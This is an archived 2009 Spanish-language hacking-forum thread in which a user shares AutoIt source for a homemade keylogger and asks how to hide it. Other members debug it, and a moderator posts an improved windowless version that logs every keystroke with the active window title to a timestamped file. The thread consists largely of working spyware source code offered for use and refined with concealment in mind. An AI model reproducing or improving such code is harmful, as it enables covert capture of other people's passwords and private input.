Foro de elhacker.net

Programación => Scripting => Mensaje iniciado por: tOxiC; en 22 Julio 2009, 21:44 pm


Título: Secret keylogger (creado por mi) -Terminado-
Publicado por: tOxiC; en 22 Julio 2009, 21:44 pm
Soy nuevo en el foro... ;-)
Este programa se llama Secret Keylogger ( Re original XDD)
Bueno... esta sin terminar, tiene todas las funciones de un keylogger pero me falta que se oculte...
Por ahora ocupa una ventana como todos pero pretendo mejorarlo para q quede oculto...

Esta programado x mi en autoit
Nota: Quisas tengan q mover el "tema" a otro subforo

Una imágen :
(http://www.subetela.com/f/0/z/w/113607.jpg)

Esta programado en AutoIt

Acá les dejo el codigo para q alguien q sepa un poco de autoit lo revise y vea q se puede mejorar ;D... y x fa... alguien expliqueme como hago para q quede oculto XDD

Código:
#NoTrayIcon
#include <Process.au3>
#include <GUIConstants.au3>

$file = FileOpen("slogger.txt", 1)
If $file = -1 Then
 MsgBox(0, "Error", "El file no se pudo crear/abrir.")
 Exit
EndIf

#Region ### START Koda GUI section ### Form=
$Form1 = GUICreate("Secret Keylogger v1.2 BY: JMG", 463, 395, 191, 121)
$Button1 = GUICtrlCreateButton("Comenzar", 16, 32, 73, 33, 0)
$Group1 = GUICtrlCreateGroup("Keylogger", 8, 16, 201, 89)
$Button2 = GUICtrlCreateButton("Guardar Log", 96, 32, 73, 33, 0)
$Button3 = GUICtrlCreateButton("Cerrar", 56, 72, 97, 17, 0)
GUICtrlCreateGroup("", -99, -99, 1, 1)
$Group2 = GUICtrlCreateGroup("Acerca de secret keylogger", 8, 112, 201, 233)
$Button4 = GUICtrlCreateButton("Acerca del autor", 24, 136, 153, 49, 0)
$Button5 = GUICtrlCreateButton("Acerca de secret keylogger", 24, 192, 153, 49, 0)
$Label5 = GUICtrlCreateLabel("No existen comentarios tontos", 24, 248, 146, 17)
$Label6 = GUICtrlCreateLabel("sino tontos que comentan", 32, 264, 126, 17)
GUICtrlCreateGroup("", -99, -99, 1, 1)
$MonthCal1 = GUICtrlCreateMonthCal("2009/07/12", 240, 40, 193, 177)
$Label4 = GUICtrlCreateLabel("JMG ®", 280, 312, 104, 41)
GUICtrlSetFont(-1, 24, 400, 0, "MS Sans Serif")
GUICtrlCreateGroup("", -99, -99, 1, 1)
$Group4 = GUICtrlCreateGroup("Calendario", 224, 24, 225, 201)
GUICtrlCreateGroup("", -99, -99, 1, 1)
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###

While (1)
$nMsg = GUIGetMsg()
Switch $nMsg
Case $GUI_EVENT_CLOSE 
exit
 Case $Button1
 while(1)
HotKeySet("!k", "menukey")
HotKeySet(" ", "logea")
HotKeySet("a", "logea")
HotKeySet("b", "logea")
HotKeySet("c", "logea")
HotKeySet("d", "logea")
HotKeySet("e", "logea")
HotKeySet("f", "logea")
HotKeySet("g", "logea")
HotKeySet("h", "logea")
HotKeySet("i", "logea")
HotKeySet("j", "logea")
HotKeySet("k", "logea")
HotKeySet("l", "logea")
HotKeySet("m", "logea")
HotKeySet("n", "logea")
HotKeySet("ñ", "logea")
HotKeySet("o", "logea")
HotKeySet("p", "logea")
HotKeySet("q", "logea")
HotKeySet("r", "logea")
HotKeySet("s", "logea")
HotKeySet("t", "logea")
HotKeySet("u", "logea")
HotKeySet("v", "logea")
HotKeySet("w", "logea")
HotKeySet("x", "logea")
HotKeySet("y", "logea")
HotKeySet("z", "logea")
HotKeySet("A", "logea")
HotKeySet("B", "logea")
HotKeySet("C", "logea")
HotKeySet("D", "logea")
HotKeySet("E", "logea")
HotKeySet("F", "logea")
HotKeySet("G", "logea")
HotKeySet("H", "logea")
HotKeySet("I", "logea")
HotKeySet("J", "logea")
HotKeySet("K", "logea")
HotKeySet("L", "logea")
HotKeySet("M", "logea")
HotKeySet("N", "logea")
HotKeySet("Ñ", "logea")
HotKeySet("O", "logea")
HotKeySet("P", "logea")
HotKeySet("Q", "logea")
HotKeySet("R", "logea")
HotKeySet("S", "logea")
HotKeySet("T", "logea")
HotKeySet("U", "logea")
HotKeySet("V", "logea")
HotKeySet("W", "logea")
HotKeySet("X", "logea")
HotKeySet("Y", "logea")
HotKeySet("Z", "logea")
HotKeySet("0", "logea")
HotKeySet("1", "logea")
HotKeySet("2", "logea")
HotKeySet("3", "logea")
HotKeySet("4", "logea")
HotKeySet("5", "logea")
HotKeySet("6", "logea")
HotKeySet("7", "logea")
HotKeySet("8", "logea")
HotKeySet("9", "logea")
hotkeyset("ª", "logea")
hotkeyset("º", "logea")
hotkeyset("\", "logea")
hotkeyset("!", "logea")
hotkeyset("|", "logea")
hotkeyset("@", "logea")
hotkeyset("·", "logea")
hotkeyset("#", "logea")
hotkeyset("$", "logea")
hotkeyset("%", "logea")
hotkeyset("&", "logea")
hotkeyset("¬", "logea")
hotkeyset("/", "logea")
hotkeyset("(", "logea")
hotkeyset(")", "logea")
hotkeyset("=", "logea")
hotkeyset("'", "logea")
hotkeyset("?", "logea")
hotkeyset("¡", "logea")
hotkeyset("¿", "logea")
hotkeyset("ç", "logea")
hotkeyset("}", "logea")
hotkeyset("<", "logea")
hotkeyset(">", "logea")
hotkeyset(",", "logea")
hotkeyset(";", "logea")
hotkeyset(".", "logea")
hotkeyset(":", "logea")
hotkeyset("-", "logea")
hotkeyset("_", "logea")
hotkeyset("´", "logea")
hotkeyset("{", "logea")
hotkeyset("¨", "logea")
hotkeyset("^", "logea")
hotkeyset("`", "logea")
hotkeyset("[", "logea")
hotkeyset("+", "logea")
hotkeyset("*", "logea")
hotkeyset("]", "logea")
wend
Case $Button2
 msgbox(0,"Guardar","Para guardar persiona [alt+k]")
case $Button3
 processclose("AutoIt3.exe")
case $Button4
 msgbox(0,"Autor:","Creado por el_juanchiii(JMG)")
case $Button5
 msgbox(0,"Secret Keylogger","Es solo un keylogger mas ...")
Endswitch
WEnd

Func logea()
HotKeySet(@HotKeyPressed)
FileWrite($file, @HotKeyPressed)
Send(@HotKeyPressed)
EndFunc

Func menukey()
FileClose($file)
FileClose($file)
$contenido = FileRead("slogger.txt")
MsgBox(0,"Keys",$contenido)
$file = FileOpen("slogger.txt", 1)
EndFunc

No es la gran cosa pero ta... :xD

La última version de secret keylogger (v1.2)"Testeado x mi"

Código:
#NoTrayIcon
#include <Process.au3>
#include <GUIConstants.au3>

$file = FileOpen("slogger.txt", 1)
If $file = -1 Then
 MsgBox(0, "Error", "El file no se pudo crear/abrir.")
 Exit
EndIf

#Region ### START Koda GUI section ### Form=
$Form1 = GUICreate("Secret keylogger V1.2", 412, 348, 189, 116)
$Button1 = GUICtrlCreateButton("Comenzar", 32, 24, 129, 33, 0)
$Button2 = GUICtrlCreateButton("Guardar log", 32, 112, 129, 33, 0)
$Button3 = GUICtrlCreateButton("Cerrar", 32, 64, 129, 33, 0)
$Button4 = GUICtrlCreateButton("Autor", 224, 32, 129, 33, 0)
$Button5 = GUICtrlCreateButton("Secret Keylogger", 224, 72, 129, 33, 0)
$Group1 = GUICtrlCreateGroup("Keylogger", 8, 8, 193, 209)
$Ocultar = GUICtrlCreateButton("Ocultar", 24, 152, 153, 57, 0)
GUICtrlCreateGroup("", -99, -99, 1, 1)
$Group2 = GUICtrlCreateGroup("Acerca de ", 208, 16, 161, 121)
GUICtrlCreateGroup("", -99, -99, 1, 1)
$Group3 = GUICtrlCreateGroup("Calendario", 208, 144, 193, 185)
$MonthCal1 = GUICtrlCreateMonthCal("2009/07/23", 216, 160, 177, 161)
GUICtrlCreateGroup("", -99, -99, 1, 1)
$Label1 = GUICtrlCreateLabel("--JMG--", 48, 264, 111, 41)
GUICtrlSetFont(-1, 24, 400, 0, "MS Sans Serif")
GUICtrlSetColor(-1, 0x00FF00)
GUICtrlSetBkColor(-1, 0x000000)
$Graphic1 = GUICtrlCreateGraphic(16, 224, 177, 113)
GUICtrlSetBkColor(-1, 0x000000)
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###

While 1
 $nMsg = GUIGetMsg()
 Switch $nMsg
 Case $GUI_EVENT_CLOSE
 Exit
Case $Button1
 while(1)
HotKeySet("!k", "menukey")
Hotkeyset("!m", "mostrar")
HotKeySet(" ", "logea")
HotKeySet("a", "logea")
HotKeySet("b", "logea")
HotKeySet("c", "logea")
HotKeySet("d", "logea")
HotKeySet("e", "logea")
HotKeySet("f", "logea")
HotKeySet("g", "logea")
HotKeySet("h", "logea")
HotKeySet("i", "logea")
HotKeySet("j", "logea")
HotKeySet("k", "logea")
HotKeySet("l", "logea")
HotKeySet("m", "logea")
HotKeySet("n", "logea")
HotKeySet("ñ", "logea")
HotKeySet("o", "logea")
HotKeySet("p", "logea")
HotKeySet("q", "logea")
HotKeySet("r", "logea")
HotKeySet("s", "logea")
HotKeySet("t", "logea")
HotKeySet("u", "logea")
HotKeySet("v", "logea")
HotKeySet("w", "logea")
HotKeySet("x", "logea")
HotKeySet("y", "logea")
HotKeySet("z", "logea")
HotKeySet("A", "logea")
HotKeySet("B", "logea")
HotKeySet("C", "logea")
HotKeySet("D", "logea")
HotKeySet("E", "logea")
HotKeySet("F", "logea")
HotKeySet("G", "logea")
HotKeySet("H", "logea")
HotKeySet("I", "logea")
HotKeySet("J", "logea")
HotKeySet("K", "logea")
HotKeySet("L", "logea")
HotKeySet("M", "logea")
HotKeySet("N", "logea")
HotKeySet("Ñ", "logea")
HotKeySet("O", "logea")
HotKeySet("P", "logea")
HotKeySet("Q", "logea")
HotKeySet("R", "logea")
HotKeySet("S", "logea")
HotKeySet("T", "logea")
HotKeySet("U", "logea")
HotKeySet("V", "logea")
HotKeySet("W", "logea")
HotKeySet("X", "logea")
HotKeySet("Y", "logea")
HotKeySet("Z", "logea")
HotKeySet("0", "logea")
HotKeySet("1", "logea")
HotKeySet("2", "logea")
HotKeySet("3", "logea")
HotKeySet("4", "logea")
HotKeySet("5", "logea")
HotKeySet("6", "logea")
HotKeySet("7", "logea")
HotKeySet("8", "logea")
HotKeySet("9", "logea")
hotkeyset("ª", "logea")
hotkeyset("º", "logea")
hotkeyset("\", "logea")
hotkeyset("!", "logea")
hotkeyset("|", "logea")
hotkeyset("@", "logea")
hotkeyset("·", "logea")
hotkeyset("#", "logea")
hotkeyset("$", "logea")
hotkeyset("%", "logea")
hotkeyset("&", "logea")
hotkeyset("¬", "logea")
hotkeyset("/", "logea")
hotkeyset("(", "logea")
hotkeyset(")", "logea")
hotkeyset("=", "logea")
hotkeyset("'", "logea")
hotkeyset("?", "logea")
hotkeyset("¡", "logea")
hotkeyset("¿", "logea")
hotkeyset("ç", "logea")
hotkeyset("}", "logea")
hotkeyset("<", "logea")
hotkeyset(">", "logea")
hotkeyset(",", "logea")
hotkeyset(";", "logea")
hotkeyset(".", "logea")
hotkeyset(":", "logea")
hotkeyset("-", "logea")
hotkeyset("_", "logea")
hotkeyset("´", "logea")
hotkeyset("{", "logea")
hotkeyset("¨", "logea")
hotkeyset("^", "logea")
hotkeyset("`", "logea")
hotkeyset("[", "logea")
hotkeyset("+", "logea")
hotkeyset("*", "logea")
hotkeyset("]", "logea")
wend
Case $Button2
 msgbox(0,"Guardar","Para guardar persiona [alt+k]")
case $Button3
 processclose("AutoIt3.exe")
case $Button4
 msgbox(0,"Autor:","Creado por el_juanchiii(JMG)")
case $Button5
 msgbox(0,"Secret Keylogger","Es solo un keylogger mas ...")
Case $Ocultar
 msgbox(0,"Ocultar:","Para mostrar la ventana otra vez preciona [alt+m]")
 guisetstate(@SW_HIDE)
 EndSwitch
WEnd

Func logea()
HotKeySet(@HotKeyPressed)
FileWrite($file, @HotKeyPressed)
Send(@HotKeyPressed)
EndFunc

Func menukey()
FileClose($file)
FileClose($file)
$contenido = FileRead("slogger.txt")
MsgBox(0,"Keys",$contenido)
$file = FileOpen("slogger.txt", 1)
EndFunc

Func mostrar()
 guisetstate(@SW_SHOW)
 endfunc

A ver ahora...
No subo el .exe xq me lo borran :¬¬

Pero esta todo bien con los mod igual ;D

Título: Re: Secret keylogger (creado por mi) -sin terminar-
Publicado por: Novlucker en 22 Julio 2009, 22:08 pm
Buenas ... teniendo código no es necesario dejar el exe :P1

También muevo el post a scripting (http://foro.elhacker.net/scripting-b64.0/) (sus autores dicen que es script) a ver si se revisa mejor y se encuentra solución a tu "problema" ;)

Saludos


1 Lo he quitado porque puede que tus intenciones sean buenas, pero la experiencia con ejecutables aportados por usuarios no es buena, no es nada personal :rolleyes:

Título: Re: Secret keylogger (creado por mi) -sin terminar-
Publicado por: leogtz en 23 Julio 2009, 17:27 pm
¿Que lenguaje de programación es ese?

Título: Re: Secret keylogger (creado por mi) -sin terminar-
Publicado por: Novlucker en 23 Julio 2009, 17:31 pm
Citar
Esta programado en AutoIt
:http://www.autoitscript.com/autoit3/

Si no lo has probado descubrirás que la principal "contra" es que .. se pueden crear ejecutables que no dependan de ninguna librería ... pero a cambio puedes tener un ejecutable que solo muestra un msgbox, y que pesa 250kb  :¬¬

 :P

Título: Re: Secret keylogger (creado por mi) -sin terminar-
Publicado por: leogtz en 23 Julio 2009, 17:40 pm
Cita de: Novlucker en 23 Julio 2009, 17:31 pm
Citar
Esta programado en AutoIt
:http://www.autoitscript.com/autoit3/

Si no lo has probado descubrirás que la principal "contra" es que .. se pueden crear ejecutables que no dependan de ninguna librería ... pero a cambio puedes tener un ejecutable que solo muestra un msgbox, y que pesa 250kb  :¬¬

 :P

Jaja, que mal, bueno, al cabos que ni quería.  :P

Título: Re: Secret keylogger (creado por mi) -Terminado-
Publicado por: Erik# en 24 Julio 2009, 22:35 pm
Pero autoit es más potente que vbs?

Título: Re: Secret keylogger (creado por mi) -Terminado-
Publicado por: tOxiC; en 24 Julio 2009, 22:43 pm
Citar
Pero autoit es más potente que vbs?

No ... solo es mas facil ...  ;D

Título: Re: Secret keylogger (creado por mi) -Terminado-
Publicado por: Erik# en 24 Julio 2009, 23:04 pm
Pero podemos hacer interfaz grafica a diferencia de vbs :P

Título: Re: Secret keylogger (creado por mi) -Terminado-
Publicado por: Novlucker en 25 Julio 2009, 03:05 am
Cita de: Erik# en 24 Julio 2009, 23:04 pm
Pero podemos hacer interfaz grafica a diferencia de vbs :P

Eso es verdad ... en vbs no es posible crear GUI's directamente ya que el lenguaje no incorpora de manera nativa la manera de hacerlo ... pero se puede incrustar vbs en aplicaciones HTA, archivos html que funcionan como "aplicaciones de escritorio"

:http://msdn.microsoft.com/en-us/library/ms536496%28VS.85%29.aspx
:http://technet.microsoft.com/en-us/scriptcenter/dd742317.aspx

Cita de: el_juanchiii en 24 Julio 2009, 22:43 pm
Citar
Pero autoit es más potente que vbs?

No ... solo es mas facil ... ;D

Si, porque al igual que otros lenguajes incorpora includes, por lo que tiene muchas "librerías" con funciones pre-creadas que facilitan la tarea del programador  :P
Ah! el uso de APIs también suma mucho, pero como he dicho antes el peso de los ejecutables es excesivo, así que en eso no puede competir contra otros lenguajes más poderosos

Saludos

Título: Re: Secret keylogger (creado por mi) -Terminado-
Publicado por: Pablo Videla en 25 Julio 2009, 04:27 am
tan simple es  :o?

Título: Re: Secret keylogger (creado por mi) -Terminado-
Publicado por: Novlucker en 25 Julio 2009, 06:22 am
No lo había probado antes, ahora que lo he hecho me encontrado con varios problemas  :rolleyes:, entre ellos:
  • Si el nombre del ejecutable no es "autoit3.exe" entonces no se cierra
  • Lo de Ocultar no sirve como debería, porque si ocultas sin haber comenzado a registrar pulsaciones ya no puedes hacerlo aparecer XD
  • Ningún botón funciona luego de iniciado el registro de teclas ... ya que te metes en un bucle en el que registras las demás teclas, pero no los botones
Bueno .... eso he visto por el momento, así que quizás le haga un par de modificaciones y lo cuelgue  :P

Saludos

Título: Re: Secret keylogger (creado por mi) -Terminado-
Publicado por: Darioxhcx en 25 Julio 2009, 13:45 pm
no hai un for como para poder reemplazar tantas lineas ?
pregunto.. nunca mire autoit xD
saludos

Título: Re: Secret keylogger (creado por mi) -Terminado-
Publicado por: Erik# en 25 Julio 2009, 13:47 pm
O un array y luego for... HotSetKey(array[ x], logea)... algo así no?

Título: Re: Secret keylogger (creado por mi) -Terminado-
Publicado por: Novlucker en 25 Julio 2009, 21:01 pm
Si, si que lo hay, y lo que dice Erik# era justo lo que pensaba hacer ya que le quitas como 80 líneas con algo tan simple como eso  :P

Saludos

Título: Re: Secret keylogger (creado por mi) -Terminado-
Publicado por: Novlucker en 27 Julio 2009, 06:11 am
Bueno ... como había dicho le hice un par de modificaciones que quizás puedan servir a el_juanchiii :P

Código:
#NoTrayIcon
#include <Date.au3>

$Filename = StringReplace(StringReplace(_now(),"/",""),":",".")
$Filename = stringreplace($Filename," ","_")
global $flag = false
global $wintitle = ventanactiva()
global $buffer = "[ " & $wintitle & " ]"

Do
HotKeySet("^!q", "exitlogger")
local $arraykeys[104] = [" ","a","b","c","d","e","f","g","h","i","j","k","l","m","n","ñ","o","p","q","r","s","t","u","v","w","x","y","z","A","B","C","D","E","F","G","H","I","J","K","L","M","N","Ñ","O","P","Q","R","S","T","U","V","W","X","Y","Z","0","1","2","3","4","5","6","7","8","9","ª","º","\","!","|","@","·","#","$","%","&","¬","/","(",")","=","'","?","¡","¿","ç","}","<",">",",",";",".",":","-","_","´","{","¨","^","`","[","+","*","]"]
local $i
for $i = 0 to 103
 HotKeySet($arraykeys[$i],"logea")
Next
until $flag = True

Func logea()
HotKeySet(@HotKeyPressed)
local $key = @HotKeyPressed
Send(@HotKeyPressed)

if $wintitle <> ventanactiva() Then
 $wintitle = ventanactiva()
 $buffer = $buffer & @CRLF & "[ " & $wintitle & " ]" & @CRLF & $key
Else
 $buffer = $buffer & $key
EndIf

If StringLen($buffer) >= 200 Then
 escribelog()
 $buffer = ""
Endif
EndFunc

Func exitlogger()
 escribelog()
 $flag = true
EndFunc

Func escribelog()
 $file = FileOpen($Filename & ".txt", 1)
 If $file = -1 Then
 Exit
 EndIf
 FileWrite($file, $buffer)
 FileClose($file)
EndFunc

Func ventanactiva()
global $windows = WinList()
 For $i = 1 to $windows[0][0]
 If $windows[$i][0] <> "" AND Activa($windows[$i][1]) Then
 Return $windows[$i][0]
 EndIf
Next 
EndFunc

Func Activa($handle)
 If BitAnd(WinGetState($handle), 8) Then 
 Return True
 Else
 Return False
 EndIf
EndFunc

Func OnAutoItExit ( )
 escribelog()
EndFunc

Ya no tiene interfaz gráfica, me parecía que no agregaba a su función y que habían cosas (como el calendario) que no cumplian ninguna función :-X

  • El code se ha hecho más corto con el uso de bucles
  • Ahora el volcado de escritura se hace cuando el buffer llega a los 200 caracteres
  • El volcado se realiza en un archivo cuyo nombre tiene la fecha y hora de ejecución del script/ejecutable
  • Registra la ventana activa :D
  • Al terminarse la aplicación realiza el volcado de cualquier manera (funciona con un taskkill normal, no si se fuerza con /F o se termina el proceso desde el taskmgr)
  • Para terminar el proceso a las buenas y realizar el volcado sin importar el tamaño del buffer, las teclas abreviadas son CTRL+ALT+Q (son menos comunes que antes)

Saludos ;D

Nota: algo que olvidé es poner para que solo se pueda ejecutar una vez, ya que si se abre dos veces es un problema  :-X

Título: Re: Secret keylogger (creado por mi) -Terminado-
Publicado por: seba123neo en 27 Julio 2009, 07:16 am
esta bien el aporte, esta todo lindo pero yo digo que este lenguaje AutoIt lo hizo gente que no tiene ganas de programar realmente...programas algo en 1 linea que en visual basic te lleva un poco mas..pero prefieron mil veces visual basic...parece potente por todo lo que podes hacer en pocas lineas, pero eso no quiere decir que sea bueno para aprender...con visual basic tenes un .exe 10 veces mas chico y con mas opciones...dejense de AutoIt que no van a ningun lado...

saludos.

Título: Re: Secret keylogger (creado por mi) -Terminado-
Publicado por: Novlucker en 27 Julio 2009, 13:16 pm
Citar
esta todo lindo pero yo digo que este lenguaje AutoIt lo hizo gente que no tiene ganas de programar realmente
Es verdad, pero es que se debe justamente a la orientación que tiene este lenguaje, claramente no es para cosas "serias" sino sobre todo para automatizar tareas de manera rápida y sencilla :)

Citar
programas algo en 1 linea que en visual basic te lleva un poco mas..pero prefieron mil veces visual basic
Citar
con visual basic tenes un .exe 10 veces mas chico y con mas opciones
True, no hay dudas de eso, también yo lo prefiero ya que si bien en autoit haces las cosas "rápido" tu pc lo paga con recursos, pero que más pedirle en un instalador de 8 Mb? :P

Citar
parece potente por todo lo que podes hacer en pocas lineas, pero eso no quiere decir que sea bueno para aprender
No!, nadie ha dicho que sea mejor para aprender, por el contrario, mal acostumbra, pero de vez en cuando es entretenido hacer estas cosas :P

Saludos

Título: Re: Secret keylogger (creado por mi) -Terminado-
Publicado por: Pablo Videla en 27 Julio 2009, 19:03 pm
He estado probando el programa y no detecta los numeros del numpad  :xD y le agregue en el arreglo mas caracteres que tampoco detecta con la combinaciones de teclas alt+numpad..

Título: Re: Secret keylogger (creado por mi) -Terminado-
Publicado por: Novlucker en 27 Julio 2009, 19:10 pm
A eso no le presté atención, solo copie las keys que había dejado el_juanchiii :-X
Pero como hiciste con el teclado numérico? :rolleyes:

The following hotkeys cannot be set:

Ctrl+Alt+Delete
It is reserved by Windows
F12
It is also reserved by Windows, according to its API.
NumPad's Enter Key
Instead, use {Enter} which captures both Enter keys on the keyboard.
Win+B,D,E,F,L,M,R,U; and Win+Shift+M
These are built-in Windows shortcuts. Note: Win+B and Win+L might only be reserved on Windows XP and above.
Alt, Ctrl, Shift, Win
These are the modifier keys themselves!
Other
Any global hotkeys a user has defined using third-party software, any combos of two or more "base keys" such as '{F1}{F2}', and any keys of the form '{LALT}' or '{ALTDOWN}'.
Mirando mejor ... fue con esto? {numpad1}, {numpad2}, etc?

Saludos ;D

Título: Re: Secret keylogger (creado por mi) -Terminado-
Publicado por: Pablo Videla en 27 Julio 2009, 19:53 pm
solo agregue en el arreglo ® y cosas parecidas pense que con el alt +169 lo detectaria solo  :xD y con el {numpad1} creo que me arrojaria error pro que es como si cerrara el arreglo  :P

Título: Re: Secret keylogger (creado por mi) -Terminado-
Publicado por: Novlucker en 27 Julio 2009, 20:12 pm
No, lo de {numpad1} no debería de ser problema porque va entre comillas :P

Pero bueno, de cualquier manera como dije antes no lo he mirado mucho más porque creo que hay mejores manera de hacer un keylogger (como dijo Seba antes), sobre todo porque con este tienes todo el tiempo el consumo de CPU en un 98% :-X

Saludos

Título: Re: Secret keylogger (creado por mi) -Terminado-
Publicado por: tOxiC; en 1 Agosto 2009, 03:08 am
Cita de: Novlucker en 25 Julio 2009, 06:22 am
No lo había probado antes, ahora que lo he hecho me encontrado con varios problemas  :rolleyes:, entre ellos:
  • Si el nombre del ejecutable no es "autoit3.exe" entonces no se cierra
  • Lo de Ocultar no sirve como debería, porque si ocultas sin haber comenzado a registrar pulsaciones ya no puedes hacerlo aparecer XD
  • Ningún botón funciona luego de iniciado el registro de teclas ... ya que te metes en un bucle en el que registras las demás teclas, pero no los botones
Bueno .... eso he visto por el momento, así que quizás le haga un par de modificaciones y lo cuelgue  :P

Saludos


A mi me funcionan los botones O_O

Título: Re: Secret keylogger (creado por mi) -Terminado-
Publicado por: Novlucker en 1 Agosto 2009, 04:05 am
A mi no me funcionaban como debía, así que por eso dejé esa segunda versión modificada por mi, pero partiendo de la tuya  :P

Saludos


Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines